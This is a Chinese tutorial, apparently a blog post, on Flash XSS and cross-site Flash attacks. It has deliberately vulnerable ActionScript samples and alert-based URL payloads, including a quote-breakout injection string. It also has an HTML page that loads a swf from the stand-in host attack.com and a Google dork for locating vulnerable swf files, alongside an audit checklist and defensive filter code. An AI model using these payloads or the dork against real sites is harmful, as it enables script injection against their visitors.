0x01 基础知识

Flash与ActionScript

Flash(交互式矢量图和Web动画标准)是一种动画创作与应用程序开发于一身的创作软件。Adobe Flash Professional CC为创建数字动画、交互式Web站点、桌面应用程序以及手机应用程序开发提供了功能全面的创作和编辑环境。Flash广泛用于创建吸引人的应用程序,它们包含丰富的视频、声音、图形和动画。可以在Flash中创建原始内容或者从其它Adobe应用程序(如Photoshop或illustrator)导入它们,快速设计简单的动画,以及使用Adobe ActionScript 3.0开发高级的交互式项目。设计人员和开发人员可使用它来创建演示文稿、应用程序和其它允许用户交互的内容。Flash可以包含简单的动画、视频内容、复杂演示文稿和应用。

ActionScript(简称AS)是由Macromedia(现已被Adobe收购)为其Flash产品开发的 ,最初是一种简单的脚本语言,现在最新版本ActionScript3.0,是一种完全的面向对象的编程语言,功能强大,类库丰富,语法类似JavaScript,多用于Flash互动性、娱乐性、实用性开发,网页制作和RIA(丰富互联网程序)开发。

目前,网上大多数Flash都是应用ActionScript2或ActionScript3来编写的。

swf文件的编译与反编译

编译

使用Flex SDK,直接去官网下载,解压后进入bin目录输入如mxmlc c:\..\..\xx.as的命令,注意其是依赖于32位的JDK。

当然,也可以使用Adobe Flash CS系列软件。

看个示例,编写个弹框的swf文件:

1、使用Flex SDK:

编写Mi1k7ea.as文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;

public class Mi1k7ea extends Sprite
{
public function Mi1k7ea()
{
ExternalInterface.call('alert("XSF Hacked")');
}
}
}

进入bin目录输入如mxmlc c:\..\..\Mi1k7ea.as的命令即可生成Mi1k7ea.swf文件:

放到Web目录访问即可触发:

2、使用Adobe Flash CS系列软件:

本地用的是Adobe Flash CS6。

编写如下fla文件:

然后Ctrl+Enter或者点击文件>导出>导出影片来编译成swf文件,再访问即可触发:

反编译

Flash调用与跨域请求

Flash的调用和请求情形分别如下:

  1. HTML调用Flash时,Flash可以改后缀名;
  2. Flash可以单独访问,但是其效果类似于HTML调用同域的Flash,但是后缀必须是swf;
  3. Flash发动请求时,是根据Flash的域来判断的,而不是HTML来判断:

(1)Flash请求同域资源时,直接忽视crossdomain.xml;

(2)Flash请求外域资源时,受外域下crossdomain.xml里的策略限制;

可知,Flash跨域请求时主要受crossdomain.xml文件的影响。

crossdomain.xml文件严格遵循XML语法,主要作用就是当被Flash请求到本域资源的时候,是否允许请求。 例如:www.evil.com中嵌入一个Flash,Flash跨域请求www.q.com下的资源,此时会先查看www.q.com目录下的crossdomain.xml文件,查看是否允许evil.com域Flash请求本域的资源。

crossdomain.xml文件主要包含如下几个节点:

1
site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from

常用的节点为allow-access-from,用来指明允许本域资源允许被哪些域名的Flash跨域请求。

示例crossdomain.xml文件:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>   
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"/>
<!-- 允许example.com及其子域访问 -->
<allow-access-from domain="*.example.com"/>
<!-- 允许http://www.example.com访问 -->
<allow-access-from domain="www.example.com"/>
<allow-http-request-headers-from domain="*.csdn.net" headers="*"/>
</cross-domain-policy>

注意:这个文件常常被用到Flash型CSRF中,当allow-access-from domain被设置为*后,可能存在Flash型CSRF的风险。

Flash与相关的HTTP头字段

Referer

Flash请求的Referer为空或者为该swf文件地址。

当为直接发请求的API时不带Referer;当HTML调用外域的Flash时,Flash发送的请求的Referer是Flash的地址而不是HTML的地址。

当HTML页面调用Flash时,此时Flash文件可以改后缀,那么我们请求的Referer就会变成Flash修改后对应的文件的后缀,比如Flash文件后缀改为gif,则通过该Flash请求时的Referer为Referer: http://a.com/exp.gif

x-flash-version

Flash发送请求时会在HTTP头中添加x-flash-version字段来标识版本。

Flash安全沙箱

Flash安全沙盒定义了各个Flash应用程序可以访问的数据及操作的范围,用于控制swf文件间跨域访问。如果两个域之间没有进行信任授权是无法进行数据交互的。

两个不同安全域下的swf文件之间是不能互相交互数据的。如果想让两个处于不同安全域内的swf文件进行数据交互通信,必须要经过授权来实现。经过数据通信授权后即可进行数据通信交互。

swf文件之间跨域访问的授权

ActionScript中关于SWF文件跨域信任授权访问是通过Security.allowDomain()方法来实现的。这个方法是应用于swf文件跨域加载swf文件并访问其内部属性、方法、类等的场景。

例如,http://a.example.com/a.swf代码,请求访问b.example.com域名下的b.swf文件:

1
2
3
4
5
6
var loader:Loader =new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT,init);
var url:String="http://b.example.com/b.swf";
loader.load(new URLRequest(url));
function init(event:Event):void
{ trace(loader.content);}

http://b.example.com/b.swf的代码:

1
2
Security.allowDomain("a.example.com");
Security.allowDomain("*");

上面是两种不同的设置方式:

  1. 只允许a.example.com访问b.example.com中的SWF文件

  2. 如果使用*号那么任何域中的SWF文件都能访问执行调用b.exaple.com中的SWF文件。

HTML跨域加载Flash时的授权

在HTML页面嵌入Flash时,其中的Object和Embed标签都有allowScriptAccess参数和allowNetworking参数,主要是用于在HTML页面调用执行Flash文件的场景。

allowScriptAccess:控制html页面与Flash页面的通讯。

  • always:html和Flash页面的通讯不做任何的限制;
  • samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】;
  • never:html和Flash禁止通讯。

allowNetworking:控制Flash与外部的网络通讯。

  • all:Flash所有的网络API通讯接口都可用;
  • internal:navigateToURL,fscommand,ExternalInterface.call不可用;
  • none:所有的网络API不可用。

HTML中嵌入Flash

在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed标签和object标签。

IE下嵌入:

1
2
3
4
5
<object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value = "http://example.com/exp.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>

非IE下嵌入(IE8能成功,本地最新IE11也OK):

1
2
3
4
5
<object type="application/x-shockwave-Flash" data="./exp.swf">
<param name="movie" value = "./exp.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>

非IE下嵌入的Demo示例,嵌入同源站点的Mi1k7ea.swf,其作用是弹框:

1
2
3
4
5
6
7
<html>
<object id="lso" type="application/x-shockwave-Flash" data="http://127.0.0.1/Mi1k7ea.swf">
<param name="movie" value = "http://127.0.0.1/Mi1k7ea.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
</html>

在Firefox上访问直接触发,然而本地最新版的IE11也能成功嵌入触发:

Flash的参数传递

Flash的参数传递形式按ActionScript语言的版本来分:

  • ActionScript 2:以_root.argv形式,argv直接就是参数名
  • ActionScript 3:以loaderInfo.parameters形式,返回key和value的字典结构。

0x02 Flash XSS

Flash型XSS,即由Flash插件引起的一系列XSS问题,主要有以下两种方式:

  • 与JavaScript通信引发的XSS;
  • 加载第三方资源引发的XSS;

ExternalInterface.call

Flash中可以使用ExternalInterface.call来执行JavaScript代码。

ExternalInterface.callzhong1可传递0个参数或传递多个参数,这里我们只探讨如下两个:

  • ExternalInterface.call(“函数名”)
  • ExternalInterface.call(“函数名”,”参数”)

第一个参数可控

FlashXss.as,这里我们可以传入第一个参数值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;

public class FlashXss extends Sprite
{
public function FlashXss()
{
var jsFunction:String = loaderInfo.parameters.movieName;
var param:String = "Mi1k7ea";
ExternalInterface.call(jsFunction, param);
}
}
}

将该as文件编译成swf文件:

将该swf放在Web目录下。尝试访问并输入payload?movieName=alert,在Chrome下不能成功执行swf而是变成了下载文件,换了Firefox和IE就可以了:

再次输入?movieName=alert('hacked')

使用IE的开发者工具调试,F12打开IE的开发人员工具->脚本->启动调试->全部中断,再次访问URL即可中断下来:

代码如下:

1
try { __flash__toXML(alert('hacked')("Mi1k7ea")) ; } catch (e) { "<undefined/>"; }

上面这段代码是ExternalInterface.call底层代码。可以看到是对输入参数直接拼接到了相应的JavaScript代码中,而这段代码会先执行alert(‘hacked’),然后将alert(‘hacked’)(“Mi1k7ea”)的返回值传入__flash__toXML()函数。

第二个参数可控

FlashXss.as,这里我们只能控制传入第二个参数值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;

public class FlashXss extends Sprite
{
public function FlashXss()
{
// 定义字符串变量名jsFunction,值从url的movieName获取
var param:String = loaderInfo.parameters.movieName;
ExternalInterface.call("console.log", param);
}
}
}

输入payload?movieName=\"));alert('mi1k7ea');}catch(e){}//

我们在IE的开发者工具中调试分析看看,先输入?movieName=mi1k7ea",即测试双引号是否被转义:

可以看到是对双引号进行了转义。

因此,当我们输入反斜杠和双引号后,由于反引号会被转义掉,从而使其后面的双引号可以逃逸出来让console.log()的双引号得以闭合,然后再构造后面恶意的JS代码即可。在IE调试下的结构如图:

getURL

在Flash中ActionScript 2可以使用getURL来执行JavaScript。

getURLTest.fla:

1
2
3
4
var Fei_xml:XML = new XML(); //创建xml对象
Fei_xml.ignoreWhite = true; //
Fei_xml.onLoad = function(){ getURL(Fei_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue);} //获取值
Fei_xml.load(_root.mi1k7ea); //加载XML文档

使用FlashCS6编译成swf。

在Web目录中编辑a.xml文件,用于触发XSS:

1
2
3
4
<?xml version="1.0" encoding="utf-8" ?>
<data>
<link>javascript:alert('Flash XSS')</link>
</data>

注意:childNodes[0]的个数和目标XML文件中JS代码所在的内嵌标签数量有关,必须设置正确才能成功触发。

URL参数栏输入目标XML文件即可触发XSS:

造成Flash XSS的主要原因就是没对?mi1k7ea=a.xml获取的内容进行过滤导致的。

这里提供一个查找此类漏洞文件的Google Hack关键字:filetype:swf inurl:xml

在ActionScript 3中已经不在支持getURL了,但可以用navigateToURL来执行JavaScript。

navigateToURLTest.as,这里用Flex编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.navigateToURL;

public class navigateToURLTest extends Sprite
{
public function navigateToURLTest()
{
var url:String = stage.loaderInfo.parameters.url //获取url参数值
var req:URLRequest = new URLRequest("flash.xml");
var ld:URLLoader = new URLLoader();
ld.addEventListener(Event.COMPLETE ,ok);
function ok(evtObj:Event):void {
if(ld.data){
//navigateToURL(new URLRequest("javascript:alert("+url+")"),'_self')
navigateToURL(new URLRequest(url),'_self') //通过navigateToURL调用执行
} else {

}
}
ld.load(req)
}
}
}

输入payload?url=javascript:alert('navigateToURL hacked')

htmlText

在Flash里支持HTMLText属性,HTMLText的作用是显示html标签等。

htmlTextTest.as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package
{
import flash.display.Sprite;
import flash.text.TextField;

public class htmlTextTest extends Sprite
{
public function htmlTextTest()
{
var a:String = root.loaderInfo.parameters.Mi1k7ea //获取提交参数的值
var info:TextField = new TextField(); //创建控件对象
info.multiline=true;
info.wordWrap=true;
info.htmlText = a; //显示
addChild(info);
}
}
}

Flash支持htmlText属性,其作用是显示html标签等。这里我们可以使用img或a标签触发xss代码。

a标签触发Flash XSS

先看用a标签的情况,在href中输入js伪协议实现执行js代码,从而触发Flash XSS。

输入payload?Mi1k7ea=<a href='javascript:alert("htmlText hacked")'>Click Me!</a>

img标签触发XSF

这里我们使用img标签来加载一个远程含有JS跨站代码的swf文件从而实现XSF攻击。

远程含有XSS代码的swf文件,这里简单写个例子Mi1k7ea.as:

1
2
3
4
5
6
7
8
9
10
11
12
13
package
{
import flash.display.Sprite;
import flash.external.ExternalInterface;

public class Mi1k7ea extends Sprite
{
public function Mi1k7ea()
{
ExternalInterface.call('alert("XSF Hacked")');
}
}
}

编译好swf文件后放置在远程服务器中。

输入payload?Mi1k7ea=<img src='http://127.0.0.1/Mi1k7ea.swf'>

未初始化变量导致的XSS

在PHP中Globals全局变量在开启的时候,允许在POST个GET参数中改变php脚本中变量的值,也就是经典的全局变量导致的变量覆盖漏洞。在ActionScript 2中也有类似的特性,任何未被初始化的变量都可以以POST或GET方式来改变变量的值,因此会导致一些安全问题。

var.fla,这里未初始化user变量:

1
2
3
4
if(user)
{
getURL(_root.mi1k7ea);
}

输入payload?user=1&mi1k7ea=javascript:alert('var hacked')

XSF

跨站Flash攻击,就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件,这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题:

1
2
3
4
5
6
7
8
9
loadVariables()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.send()
XML.load('URL')
LoadVars.load('url')
Sound.loadSound('url')
NetStream.play('url')

通过这些恶意接口,可以指定URL为我们构造的恶意文件如swf或xml文件,从而在目标网站实现JS攻击。

直接看个例子,XSFTest.as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package
{
import flash.display.Sprite;
import flash.display.Loader;
import flash.net.URLRequest;

public class XSFTest extends Sprite
{
public function XSFTest()
{
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
}
}
}

XSF.html:

1
2
3
4
5
6
7
8
<html>
<object id="lso" type="application/x-shockwave-Flash" data="http://127.0.0.1/XSFTest.swf">
<param name="movie" value = "http://127.0.0.1/XSFTest.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
<param name="Flashvars" value="swf=http://attack.com/Mi1k7ea.swf" />
</object>
</html>

至于Mi1k7ea.swf文件,是前面第一节示例用于XSS弹框的Demo,这里作为攻击者的恶意swf文件。

先看下直接访问XSFTest.swf文件再传入远程服务器上的swf文件看看能不能执行成功:

可以看到,请求了远程服务器上的swf文件但并没有成功执行该swf文件。原因在于远程服务器上的swf文件并没有对Flash的跨域请求进行相应的授权。

如果访问目标服务器的XSF.html页面,可以看到XSF.html中嵌入的XSFTest.swf文件通过参数传入成功调用了远程服务器上的swf文件,关键在于allowScriptAccess和allowNetworking的设置进行了授权:

0x03 漏洞挖掘

黑盒测试

由于Flash XSS是前端问题,swf文件可下载到本地且是可反编译的,因此就可直接进行白盒测试。

白盒测试

简单分为以下几步:

1、将目标swf文件下载到本地,反编译得到源码;

2、搜索危险函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
ExternalInterface.call()
getURL()
navigateToURL()
htmlText
loadVariables()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.send()
LoadVars.load()
XML.load()
Sound.loadSound()
NetStream.play()

3、若存在危险函数,则进一步查找是否有接受外部输入参数的关键字,即寻找AS2和AS3下的传参关键字,如下:

1
2
_root.argv
loaderInfo.parameters

4、若都存在,则需要进行最后的人工代码审计。

0x04 防御方法

  • 如果无嵌入Flash的需求,尽量禁用embed和object标签;
  • 对Flash文件的输入输出编码过滤;
  • 在HTML中嵌入Flash时,严格设置allowScriptAccess参数和allowNetworking参数的值,遵循权限最小化原则;
  • 可参考一些网上写好的过滤函数,如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function checkJsFunctionValid(functionName:String):Boolean
{
var reg:RegExp = /^[a-zA-Z0-9_\.]+$/;
return reg.test(functionName);
}

public static function checkObjectIdValid():Boolean
{
if (ExternalInterface.available)
{
var objectId:String = ExternalInterface.objectID;
if (!objectId || (objectId == objectId.replace(/[^0-9a-zA-Z_]/g , "")))
return true;
else
return false;
}
return true;
}

0x05 参考

Flash XSS Security

浅谈flash引发的跨站问题

Flash XSS攻击总结

常见Flash XSS攻击方式

Flash XSS 漏洞详解 根治的好办法